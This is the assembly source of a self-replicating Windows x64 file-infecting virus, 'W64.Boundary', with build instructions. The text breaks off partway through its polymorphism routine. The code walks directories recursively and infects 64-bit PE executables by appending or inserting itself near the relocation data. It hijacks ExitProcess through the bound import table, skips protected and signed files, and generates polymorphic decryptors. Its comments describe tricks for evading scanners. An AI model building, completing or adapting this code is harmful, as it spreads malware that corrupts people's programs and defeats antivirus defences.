W64.Boundary
by roy g biv

See also the project folder

;W64.Boundary by roy g biv
;
;some of its features:
;- parasitic direct action infector of PE exe (but not looking at suffix)
;- infects files in current directory and all subdirectories
;- directory traversal is linked-list instead of recursive to reduce stack size
;- reloc section inserter/last section appender
;- new kind of EPO using bound import table:
;- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
;- uses CRCs instead of API names
;- uses SEH for common code exit
;- no infect files with data outside of image (eg self-extractors)
;- no infect files protected by SFC/SFP (including under Windows XP)
;- uses SEH walker to find kernel address (no hard-coded addresses)
;- correct file checksum without using imagehlp.dll :) 100% correct algorithm
;---
;
;  optimisation tip: Windows appends ".dll" automatically, so this works:
;        push "cfs"
;        push esp
;        call LoadLibraryA
;---
;
;to build this thing:
;yasm
;----
;yasm -m amd64 -f win32 -o bound64.obj bound64.asm
;link bound64.obj kernel32.lib user32.lib /section:.text,erw /entry:boundary /subsystem:console
;---
;
;We're in the middle of a phase transition:
;a butterfly flapping its wings at
;just the right moment could
;cause a storm to happen.
;-I'm trying to understand-
;I'm at a moment in my life-
;I don't know where to flap my wings.
;(Danny Hillis)

bits64

extern  MessageBoxA:proc
extern  ExitProcess:proc

section .data
%include "bound64.inc"

global boundary
section .text
boundary:
        mov     edx, krncrc_count
        mov     ebx, krnnames
        mov     edi, krncrcbegin
        call    create_crcs
        mov     edx, 2
        mov     ebx, ntdnames
        mov     edi, ntdcrcbegin
        call    create_crcs
        mov     edx, 1
        mov     ebx, sfcnames
        mov     edi, sfccrcbegin
        call    create_crcs
        push    CODESIZE
        push    rsp
        pop     rbx
        fld1
        fild    dword [rbx]
        fyl2x
        fistp   dword [rbx]
        pop     rcx
        inc     ecx
        push    1
        pop     rax
        shl     eax, cl
        sub     eax, 4
        mov     dword [codesize_patch + 1], eax
        mov     eax, dword [ExitProcess + 2]
        mov     rax, qword [eax + ExitProcess + 6]
        mov     qword [boundary_hook + 2], rax
        xor     r9d, r9d
        mov     r8d, txttitle
        mov     edx, txtbody
        xor     ecx, ecx
        call    MessageBoxA
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
align   4
boundary_inf
align   1
        enter   ((findlist_size - 9) + ((statelen + 1) << 2) + 7) & -8, 0
                                                ;Windows XP/2003 enables alignment check exception
                                                ;so some APIs fail if buffer is not qword aligned
                                                ;-9 to align at 2 qwords earlier
                                                ;because RBP saved automatically
                                                ;and other register saved next
                                                ;statelen for RNG cache
        push    0                               ;zero findprev in findlist

boundary_hook:
        mov     rax, "rgb!rgb!"                 ;replaced by ExitProcess
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin:                                    ;place < 80h bytes from call for smaller code
        times (krncrc_count + 1) dd 0
krncrcend:
        dq      check_ntd - krncrcend + 4
        db      "Boundary - roy g biv"          ;at the edge of reality

init_findmz:
        lea     rdi, qword [rax + 1]

find_mzhdr:

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP, 2003
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     rdi                             ;sub 64kb
        xor     di, di                          ;64kb align
        call    is_pehdr
        jne     find_mzhdr
        push    rdi
        pop     rbx
        pop     rdi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        lodsq
        mov     esi, dword [rsi + pehdr.peexport + pedir.dirrva - pehdr.pecoff - 8]
        lea     rsi, qword [rbx + rsi + peexp.expadrrva]
        xor     eax, eax
        lodsd                                   ;Export Address Table RVA
        lea     rdx, qword [rbx + rax]
        lodsd                                   ;Name Pointer Table RVA
        lea     rcx, qword [rbx + rax]
        lodsd                                   ;Ordinal Table RVA
        lea     rbp, qword [rbx + rax]
        push    rcx
        pop     rsi

push_export:
        push    rcx

get_export:
        lodsd
        push    rbx
        add     rbx, rax                        ;Name Pointer VA
        or      eax, -1

crc_outer:
        xor     al, byte [rbx]
        push    8
        pop     rcx

crc_inner:
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip:
        loop    crc_inner
        sub     cl, byte [rbx]                  ;carry set if not zero
        inc     rbx                             ;carry not altered by inc
        jb      crc_outer
        pop     rbx
        cmp     dword [rdi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     rcx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word [rbp + rax - 2]       ;get export ordinal
        mov     eax, dword [rax * 4 + rdx]      ;get export RVA
        add     rax, rbx
        push    rax
        scasd
        cmp     dword [rdi], 0
        jne     push_export
        add     rdi, qword [rdi + 4]
        jmp     rdi

;-----------------------------------------------------------------------------
;get SEH support
;-----------------------------------------------------------------------------

ntdll:  db      "ntdll", 0

check_ntd:
        lea     rcx, qword [RIP + ntdll - $ - 7]
        call    qword [rsp - 18h + krncrcstk.kLoadLibraryA]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

ntdcrcbegin:                                    ;place < 80h bytes from call for smaller code
        dd      0, 0, 0
ntdcrcend:
        dq      check_sfc - ntdcrcend + 4

;-----------------------------------------------------------------------------
;get SFC support
;-----------------------------------------------------------------------------

sfc_os: db      "sfc_os", 0                     ;Windows XP/2003 (forwarder chain from sfc.dll)

check_sfc:
        lea     rcx, qword [RIP + sfc_os - $ - 7]
        call    qword [rsp - 8 + krncrcstk.kLoadLibraryA]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin:                                    ;place < 80h bytes from call for smaller code
        dd      0, 0
sfccrcend:
        dq      scan_dirinit - sfccrcend + 4

;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------

scan_dirinit:
        lea     rbp, qword [rsp + krncrcstk.kGlobalAlloc]
                                                ;position about halfway, to reduce code size
        lea     rsi, qword [rbp + krncrcstk_size - krncrcstk.kGlobalAlloc]
        call    qword [rbp + krncrcstk.kGetTickCount - krncrcstk.kGlobalAlloc]
        lea     rdi, qword [rsi + ((findlist_size + 7) & -8)]
        call    randinit

scan_dir:                                       ;rbp -> platform APIs, rsi -> findlist
        push    '*'                             ;ANSI-compatible Unicode findmask
        lea     rbx, qword [rsi + findlist.finddata]
        push    rbx
        pop     rdx
        push    rsp
        pop     rcx
        call    qword [rbp + krncrcstk.kFindFirstFileW - krncrcstk.kGlobalAlloc]
        pop     rcx
        mov     qword [rsi + findlist.findhand], rax
        inc     rax
        je      find_prev

        ;you must always step forward from where you stand

test_dirfile:
        mov     eax, dword [rbx + WIN32_FIND_DATA.dwFileAttributes]
        lea     rdi, qword [rsi + findlist.finddata + WIN32_FIND_DATA.cFileName]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        je      test_file
        cmp     byte [rdi], '.'                 ;ignore . and .. (but also .* directories under NT/2000/XP)
        je      find_next

;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------

        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kSetCurrentDirectoryW - krncrcstk.kGlobalAlloc]
        xchg    ecx, eax
        jrcxz   find_next
        push    rax
        mov     edx, findlist_size
        xor     ecx, ecx                        ;GMEM_FIXED
        call    qword [rbp + krncrcstk.kGlobalAlloc - krncrcstk.kGlobalAlloc]
        xchg    rcx, rax
        pop     rax
        jrcxz   step_updir
        xchg    rsi, rcx
        mov     qword [rsi + findlist.findprev], rcx
        jmp     scan_dir

find_next:
        lea     rbx, qword [rsi + findlist.finddata]
        mov     rdi, qword [rsi + findlist.findhand]
        push    rbx
        pop     rdx
        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kFindNextFileW - krncrcstk.kGlobalAlloc]
        test    eax, eax
        jne     test_dirfile

;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------

        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kFindClose - krncrcstk.kGlobalAlloc]

find_prev:
        mov     rcx, qword [rsi + findlist.findprev]
        jrcxz   boundary_exit                   ;game over
        xchg    rsi, rcx
        push    rax
        call    qword [rbp + krncrcstk.kGlobalFree - krncrcstk.kGlobalAlloc]
        pop     rax

step_updir:

;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------

        push    '..'
        push    rsp
        pop     rcx
        call    qword [rbp + krncrcstk.kSetCurrentDirectoryA - krncrcstk.kGlobalAlloc]
        pop     rax
        jmp     find_next

boundary_exit:
        jmp     qword [rbp + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc]

test_file:

;-----------------------------------------------------------------------------
;get full path
;-----------------------------------------------------------------------------

        push    rax                             ;save original file attributes for close
        enter   MAX_PATH * 2, 0
        mov     r8, rsp
        push    rax
        mov     r9, rsp
        mov     edx, MAX_PATH
        push    rdi
        pop     rcx
        call    qword [rbp + 10h + krncrcstk.kGetFullPathNameW]
        pop     rax

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        push    rsp
        pop     rdx
        xor     ecx, ecx
        call    qword [rbp + 10h + krncrcstk.kSfcIsFileProtected]
        leave
        test    eax, eax
        jne     restore_attr
        xor     ebx, ebx
        call    set_fileattr
        push    rbx
        push    rbx
        push    OPEN_EXISTING
        sub     rsp, 20h
        xor     r9, r9
        xor     r8d, r8d
        mov     edx, GENERIC_READ | GENERIC_WRITE
        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kCreateFileW - krncrcstk.kGlobalAlloc]
        add     rsp, 38h
        xchg    ebx, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)
        lea     r9, qword [rsi + findlist.finddata + WIN32_FIND_DATA.ftLastWriteTime]
        lea     r8, qword [rsi + findlist.finddata + WIN32_FIND_DATA.ftLastAccessTime]
        cqo
        push    rbx
        pop     rcx
        call    qword [rbp + krncrcstk.kSetFileTime - krncrcstk.kGlobalAlloc]
        push    rbx
        pop     rcx
        call    qword [rbp + krncrcstk.kCloseHandle - krncrcstk.kGlobalAlloc]

restore_attr:
        pop     rbx                             ;restore original file attributes
        call    set_fileattr
        jmp     find_next
;scan_dir        endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr:                                       ;rdi -> map view
        cmp     word [rdi], 'MZ'                ;Windows does not check 'ZM'
        jne     pehdr_ret
        movzx   rsi, word [rdi + mzhdr.mzlfanew]
        cmp     word [rdi], si
        jb      pehdr_ret
        add     rsi, rdi
        lodsd                                   ;SEH protects against bad lfanew value
        add     eax, -'PE'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret:
        ret                                     ;if PE file, then eax = 0, rsi -> COFF header, Z flag set
;is_pehdr        endp

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr:                                   ;ebx = file attributes, rsi -> findlist, rbp -> platform APIs
        lea     rdi, qword [rsi + findlist.finddata + WIN32_FIND_DATA.cFileName]
        mov     edx, ebx
        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kSetFileAttributesW - krncrcstk.kGlobalAlloc]
        ret
        db      "08/07/06"                      ;05, 04, 03, 02, 01... launch poly on 64-bit!
;set_fileattr    endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86-64, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect:                                    ;ebx = file handle, rsi = findlist, rbp -> platform APIs
        call    map_view
        push    rsi
        pop     rbp
        call    is_pehdr
        jne     inftest_ret
        lodsd
        cmp     ax, IMAGE_FILE_MACHINE_AMD64
        jne     inftest_ret                     ;only AMD x86-64
        shr     eax, 0dh                        ;move high 16 bits into low 16 bits and multiply by 8
        lea     edx, dword [rax * 4 + rax]      ;complete multiply by 28h (size pesect)
        mov     ecx, dword [rsi + coffhdr.peflags - coffhdr.petimedate]

;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;executable file...
;-----------------------------------------------------------------------------

        and     cx, IMAGE_FILE_SYSTEM | IMAGE_FILE_UP_SYSTEM_ONLY | IMAGE_FILE_EXECUTABLE_IMAGE
        cmp     cx, IMAGE_FILE_EXECUTABLE_IMAGE
        jne     inftest_ret
        add     rsi, pehdr.pesubsys - pehdr.pemagic + coffhdr_size - coffhdr.petimedate

;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------

        lodsd
        cmp     ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe    inftest_ret
        cmp     al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb      inftest_ret
        shr     eax, 1eh                        ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb      inftest_ret

;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------

        cmp     dword [rsi + pehdr.pesecurity + pedir.dirrva - pehdr.pestackmax], eax
        jnbe    inftest_ret

;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------

        movzx   eax, word [rsi + pehdr.pecoff + coffhdr.peopthdrsize - pehdr.pestackmax]
        add     eax, edx
        push    rsi
        lea     rsi, qword [rsi + rax + pehdr.pecoff - pehdr.pestackmax - pesect_size + pesect.sectrawsize]
        lodsd
        add     eax, dword [rsi]
        cmp     dword [rbp + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow], eax
        push    rsi
        pop     rax
        pop     rsi
        jne     inftest_ret                     ;file contains appended data
        mov     ebx, dword [rsi + pehdr.pefilealign - pehdr.pestackmax]
        lea     ecx, dword [rbx + ADDSIZE - 1]
        neg     ebx
        and     ecx, ebx
        add     dword [rbp + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow], ecx
        mov     rdx, qword [rsp + mapsehstk.mapsehregs + 10h]
                                                ;retrieve -> platform APIs
        mov     rdx, qword [rdx + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc]
        call    gather_info
        adc     qword [rsp + mapsehstk.mapsehinfret], 0
                                                ;skip call mask if found

inftest_ret:
        int     3

gather_info:
        mov     ecx, dword [rsi + pehdr.pebound + pedir.dirrva - pehdr.pestackmax]
        jrcxz   gather_ret
        push    rdx
        xchg    rsi, rax
        xchg    rbp, rax
        add     rcx, rdi                        ;it's really a RVA but it always exists before first section
        push    rcx
        pop     rdx

parse_bound:
        movzx   eax, word [rdx + pebind.bindrva]
        test    eax, eax
        je      gather_pop
        add     rdx, pebind_size
        mov     eax, dword [rcx + rax]
        or      eax, "    "
        cmp     eax, "kern"
        jne     parse_bound
        mov     ecx, dword [rbp + pehdr.peimport + pedir.dirrva - pehdr.pestackmax]
        call    rva2raw

parse_import:
        push    rcx
        mov     ecx, dword [rdi + rcx + peimp.impdllrva]
        call    rva2raw
        mov     eax, dword [rdi + rcx]
        pop     rcx
        add     ecx, peimp_size
        or      eax, "    "
        cmp     eax, "kern"
        jne     parse_import
        mov     ecx, dword [rdi + rcx - peimp_size + peimp.impiatrva]
        call    rva2raw
        xor     eax, eax
        add     rdi, rcx
        or      ecx, -1
        push    rdi
        repne   scasq
        pop     rdi
        pop     rax
        not     ecx
        repne   scasq
        jne     gather_ret
        stc
        ret

gather_pop:
        pop     rax

gather_ret:
        ret
;gather_info     endp

;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------

map_view:                                       ;ebx = file handle, rsi -> findlist, rbp -> platform APIs
        lea     rdx, qword [RIP + unmap_seh - $ - 7]
        mov     cl, 1                           ;non-zero
        call    qword [rbp + krncrcstk.kAddVectoredExceptionHandler - krncrcstk.kGlobalAlloc]
        pop     rcx
        push    rax
        push    rcx
        xor     edx, edx
        push    rdx
        mov     edi, dword [rsi + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow]
        push    rdi
        sub     rsp, 20h
        xor     r9d, r9d
        mov     r8d, PAGE_READWRITE
        push    rbx
        pop     rcx
        call    qword [rbp + krncrcstk.kCreateFileMappingA - krncrcstk.kGlobalAlloc]
                                                ;ANSI map is allowed because of no name
        push    rax
        push    rdi
        sub     rsp, 20h
        xor     r9d, r9d
        xor     r8d, r8d
        push    FILE_MAP_WRITE
        pop     rdx
        xchg    rcx, rax
        call    qword [rbp + krncrcstk.kMapViewOfFile - krncrcstk.kGlobalAlloc]
        xchg    rdi, rax                        ;should succeed even if file cannot be opened
        mov     rdx, qword [rsp + 60h]
        push    rbx
        push    rbp
        push    rsi
        push    rdi
        mov     qword [RIP + unmap_view - $ - 5], rsp
        jmp     rdx

unmap_seh:
        lea     rax, qword [RIP + unmap_view - $ - 7]
        mov     rcx, qword [rcx + EXCEPTION_POINTERS.ContextRecord]
        mov     qword [rcx + ContextRecord_RIP], rax
        or      eax, -1                         ;EXCEPTION_CONTINUE_EXECUTION
        ret

unmap_view:
        mov     rsp, "rgb!rgb!"
        pop     rdi
        pop     rsi
        pop     rbp
        pop     rbx
        mov     rcx, qword [rsp + 68h]
        call    qword [rbp + krncrcstk.kRemoveVectoredExceptionHandler - krncrcstk.kGlobalAlloc]
        push    rdi
        pop     rcx
        call    qword [rbp + krncrcstk.kUnmapViewOfFile - krncrcstk.kGlobalAlloc]
        mov     rcx, qword [rsp + 28h]       
        call    qword [rbp + krncrcstk.kCloseHandle - krncrcstk.kGlobalAlloc]
        add     rsp, 70h
        ret
;unmap_view      endp
;unmap_seh       endp
;map_view        endp                            ;eax = new file size, rdi = map view

;-----------------------------------------------------------------------------
;infect file
;algorithm:     increase file size by large amount to confuse scanners that
;               look at end of file
;               if reloc table is not in last section (taken from relocation
;               field in PE header, not section name), then append to last
;               section.  otherwise, move relocs down and insert code into
;               space (to confuse people looking at end of file.  they will
;               see only relocation data and garbage or many zeroes)
;               ExitProcess address is altered in import table.  very simple
;-----------------------------------------------------------------------------

infect_file:                                    ;rsi -> findlist, rdi = map view
        call    map_view

delta_label:
        push    rcx
        push    rdi
        mov     ebx, dword [rdi + mzhdr.mzlfanew]
        lea     rbx, qword [rbx + rdi + pehdr.pechksum]
        push    rbx
        push    rbp
        xor     ecx, ecx
        imul    cx, word [rbx + pehdr.pecoff + coffhdr.pesectcount - pehdr.pechksum], pesect_size
        add     cx, word [rbx + pehdr.pecoff + coffhdr.peopthdrsize - pehdr.pechksum]
        lea     rsi, qword [rbx + rcx + pehdr.pemagic - pehdr.pechksum - pesect_size + pesect.sectrawsize]
        lodsd
        mov     ecx, ADDSIZE
        mov     edx, dword [rbx + pehdr.pefilealign - pehdr.pechksum]
        push    rax
        add     eax, ecx
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx                        ;file align last section
        mov     dword [rsi + pesect.sectrawsize - pesect.sectrawaddr], eax
        mov     r10, rbp

;-----------------------------------------------------------------------------
;raw size is file aligned.  virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------

        mov     ebp, dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr]
        cmp     dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        jnb     test_reloff
        mov     dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        add     eax, ebp
        mov     edx, dword [rbx + pehdr.pesectalign - pehdr.pechksum]
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx
        mov     dword [rbx + pehdr.peimagesize - pehdr.pechksum], eax

;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------

test_reloff:
        test    byte [rbx + pehdr.pecoff + coffhdr.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
        jne     copy_code
        cmp     dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], ebp
        jb      copy_code
        mov     eax, dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr]
        add     eax, ebp
        cmp     dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], eax
        jnb     copy_code
        add     dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], ecx
        pop     rax
        push    rsi
        mov     esi, dword [rsi]
        add     rdi, rsi
        lea     rsi, qword [rdi + rax - 1]
        lea     rdi, qword [rsi + rcx]
        xchg    ecx, eax
        std
        rep     movsb
        cld
        pop     rsi
        pop     rdi
        push    rdi
        push    rcx
        xchg    ecx, eax

copy_code:
        pop     rdx
        add     ebp, edx
        xchg    ebp, eax
        add     edx, dword [rsi]
        add     rdi, rdx
        add     rax, qword [rbx + pehdr.peimagebase - pehdr.pechksum]
        push    rsi
        push    rsi
        push    rax
        push    rcx
        push    rdi
        mov     r9d, PAGE_READWRITE
        mov     r8d, MEM_COMMIT
        mov     edx, ENTERSIZE + ADDSIZE - esp_delta
        xor     ecx, ecx
        call    qword [r10 + krncrcstk.kVirtualAlloc - krncrcstk.kGlobalAlloc]
        lea     rsi, qword [rax - esp_delta]
        lea     rdi, qword [rsi + ENTERSIZE]
        push    rdi
        dec     byte [rsi + locked]
        lea     rbp, qword [RIP + random - $ - 7]
        call    rbp
        and     eax, 7ffh
        add     eax, 1000
        xor     ecx, ecx

loop_poly1:
        call    poly
        dec     eax
        jne     short loop_poly1
        mov     qword [rsp + 28h], rdi
        lea     rdx, qword [RIP + decrypt_seh - $ - 7]
        mov     cl, 1                           ;non-zero
        mov     rax, qword [rsp + 30h]
        push    rax
        call    qword [rax + krncrcstk.kAddVectoredExceptionHandler - krncrcstk.kGlobalAlloc]
        push    rax
        jmp     decrypt_main

decrypt_seh:
        lea     rax, qword [RIP + decrypt_loop - $ - 7]
        mov     rcx, qword [rcx + EXCEPTION_POINTERS.ContextRecord]
        mov     qword [rcx + ContextRecord_RIP], rax
        or      eax, -1                         ;EXCEPTION_CONTINUE_EXECUTION
        ret

decrypt_loop:
        mov     rsp, "rgb!rgb!"
        pop     rdi
        pop     rsi
        pop     rbp

decrypt_main:
        push    rbp
        push    rsi
        push    rdi
        mov     qword [RIP + decrypt_loop - $ - 5], rsp
        call    make_decrypt
        pop     rax
        pop     rax
        pop     rax
        pop     rcx
        pop     rbx
        call    qword [rbx + krncrcstk.kRemoveVectoredExceptionHandler - krncrcstk.kGlobalAlloc]
        mov     al, 0e9h
        stosb
        pop     rax
        pop     rdx
        pop     rcx
        push    rax
        push    rax
        pop     rsi
        sub     eax, edi
        sub     eax, 4
        stosd
        push    rdx
        pop     rdi
        rep     movsb
        mov     r8d, MEM_RELEASE
        xor     edx, edx
        sub     rsi, ADDSIZE + ENTERSIZE - esp_delta
        push    rsi
        pop     rcx
        call    qword [rbx + krncrcstk.kVirtualFree - krncrcstk.kGlobalAlloc]
        pop     rsi
        pop     rcx
        pop     rax

;-----------------------------------------------------------------------------
;section attributes are always altered to executable because AMD64 will require it
;always altered to writable because VectoredExceptionHandler requires stack pointer
;the write bit could be set at runtime but we lost anti-heuristic already
;-----------------------------------------------------------------------------

        or      byte [rax + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE) >> 18h
        mov     rdx, qword [rbx + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc]
        pop     rbp
        pop     rbx
        pop     rbx
        pop     rdi
        push    rdi
        sub     ebp, esi
        add     ebp, ecx
        push    rbp
        lea     rsi, qword [rbx + pehdr.pestackmax - pehdr.pechksum]
        call    gather_info
        pop     qword [rdi - 8]

;-----------------------------------------------------------------------------
;optional: GetProcAddress for every import, and store all Bound TimeDateStamps
;otherwise, there is chance that we will never execute
;-----------------------------------------------------------------------------

        pop     rdi

;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------

        xor     ecx, ecx
        xchg    dword [rbx], ecx
        jrcxz   infect_ret
        xor     eax, eax
        pop     rcx
        push    rcx
        inc     ecx
        shr     ecx, 1
        clc

calc_checksum:
        adc     ax, word [rdi]
        inc     edi
        inc     edi
        loop    calc_checksum
        pop     rcx
        adc     eax, ecx
        mov     dword [rbx], eax                ;avoid common bug.  ADC not ADD

infect_ret:
        int     3                               ;common exit using SEH
        db      "*4U2NV*"                       ;that is, unless you're reading this
;test_infect     endp

make_decrypt:
        xor     eax, eax
        push    rdi
        push    (unknown - esp_delta) >> 2
        pop     rcx
        lea     rdi, qword [rsi + esp_delta]
        rep     stosd
        dec     eax
        mov     cl, 10h
        rep     stosd
        inc     eax
        mov     cl, (BITSIZE >> 2) + 1
        add     rdi, codebits - vals
        rep     stosd
        pop     rdi
        dec     byte [rsi + locked]
        dec     byte [rsi + unknown + (REG_ESP * 8)]
        mov     dword [rsi + vals + (REG_ESP * 4)], ecx
        call    rbp
        and     eax, 0ffh
        add     eax, 800
        xchg    ecx, eax

inc_poly0:
        inc     ecx

loop_poly0:

;-----------------------------------------------------------------------------
;loop until count is zero, then continue until all registers initialised
;count overloaded as non-random flag
;-----------------------------------------------------------------------------

        call    poly
        loop    loop_poly0

check_reg:
        mov     cl, 8
        cdq

or_unknown:
        cmp     cl, REG_ESP + 1
        je      short skip_unknown
        or      rdx, qword [rcx * 8 + rsi + unknown - 8]

skip_unknown:
        loop    or_unknown
        jne     short inc_poly0
        mov     r8d, CODESIZE >> 2
        mov     r9d, CODESIZE >> 1

decryptor:
        xor     ebx, ebx

;-----------------------------------------------------------------------------
;if something to pop, and able to pop
;-----------------------------------------------------------------------------

        call    rbp
        test    al, 1
        je      short check_unmarked
        cmp     dword [rsi + stacked], ebx
        je      short check_unmarked
        cmp     dword [rsi + esp_delta], ebx
        jne     short check_unmarked
        cmp     byte [rsi + donesub], bl
        jne     short check_unmarked
        mov     eax, 058f66h
        stosd
        dec     rdi
        dec     dword [rsi + stacked]
        mov     eax, dword [rsi + stacked]
        movzx   eax, word [rax * 2 + rsi + stack]
        lea     eax, dword [rsi + rax + ENTERSIZE - 4]
        sub     eax, edi
        stosd
        add     dword [rsi + vals + (REG_ESP * 4)], 2
        dec     r9d
        jne     short jmp_poly2
        ret

check_unmarked:

;-----------------------------------------------------------------------------
;if unmarked values left
;-----------------------------------------------------------------------------

        test    r8d, r8d
        je      short jmp_poly2
        cmp     byte [rsi + donesub], bl
        jne     short check_locked
        cmp     byte [rsi + prev_op], bl ;OP_ADD
        jne     short jmp_poly2
        mov     dword [rsi + esp_delta], ebx
        mov     eax, dword [rsi + stacked]
        inc     eax
        not     eax
        add     eax, eax
        mov     bl, REG_ESP
        call    adjust_val
        inc     byte [rsi + donesub]
        jmp     short jmp_poly2

check_locked:

        call    rbp
        and     al, 1
        jne     short check_prevop

;-----------------------------------------------------------------------------
;if no register locked
;-----------------------------------------------------------------------------

        cmp     byte [rsi + locked], 0ffh
        jne     short check_prevop

get_lockedreg:
        call    rbp
        and     eax, 7
        cmp     al, REG_ESP
        je      short get_lockedreg
        mov     byte [rsi + locked], al
        xchg    ebx, eax

get_codebits:
        call    rbp

codesize_patch:
        and     eax, 'rgb!'
        cmp     eax, CODESIZE
        jnb     short get_codebits
        shr     eax, 2
        bts     dword [rsi + codebits], eax
        jb      short get_codebits
        shl     eax, 2
        mov     ecx, dword [rsi + stacked]
        mov     word [rcx * 2 + rsi + stack + 2], ax
        push    qword [rbp + rax + boundary_inf - random]
        inc     eax
        inc     eax
        mov     word [rcx * 2 + rsi + stack], ax
        pop     rax
        call    adjust_val

jmp_poly2:
        jmp     short do_poly2

check_prevop:
        cmp     byte [rsi + prev_op], bl ;OP_ADD
        jne     short do_poly2
        mov     ch, al
        mov     cl, byte [rsi + locked]
        test    al, al
        je      short make_move
        call    rbp
        and     al, 7
        mov     cl, al

make_move:
        mov     ax, 3091h
        add     ah, cl
        rol     ax, 3
        stosw
        mov     edx, dword [rsi + esp_delta]

;-----------------------------------------------------------------------------
;randomly pick one register to combine with RSP, with random scale
;-----------------------------------------------------------------------------

move_reg:
        xor     ebx, ebx
        call    rbp
        and     al, 0f8h
        or      al, REG_ESP
        push    rax
        mov     cl, al
        shr     al, 3
        and     eax, 7
        cmp     al, 4
        je      short skip_pushscale
        mov     ebx, dword [rax * 4 + rsi + vals]
        shr     cl, 6
        shl     rbx, cl
        push    rbx
        pop     rax
        add     rax, rdx
        shr     rax, 1fh

skip_pushscale:
        pop     rax
        jne     move_reg                        ;signed or too big values cannot be reversed
        stosb
        add     ebx, edx
        neg     ebx
        xchg    ebx, eax
        stosd
        test    ch, ch
        jne     short do_poly2
        mov     byte [rsi + locked], 0ffh
        dec     byte [rsi + donesub]
        add     dword [rsi + stacked], 2
        dec     r8d

do_poly2:
        call    rbp
        and     eax, 7
        inc     eax
        xchg    ecx, eax

loop_poly2:
        call    poly
        loop    loop_poly2
        jmp     decryptor
;make_decrypt    endp

poly:
        push    rax
        push    rcx
        push    rbp
        mov     r10, rbp

get_polyreg:

;-----------------------------------------------------------------------------
;avoid the locked register
;-----------------------------------------------------------------------------

        call    rbp
        and     eax, 7
        cmp     byte [rsi + locked], al
        je      short get_polyreg
        xchg    ebx, eax

poly_op:

;-----------------------------------------------------------------------------
;avoid ADC/SBB if carry is not known, unless register is completely unknown
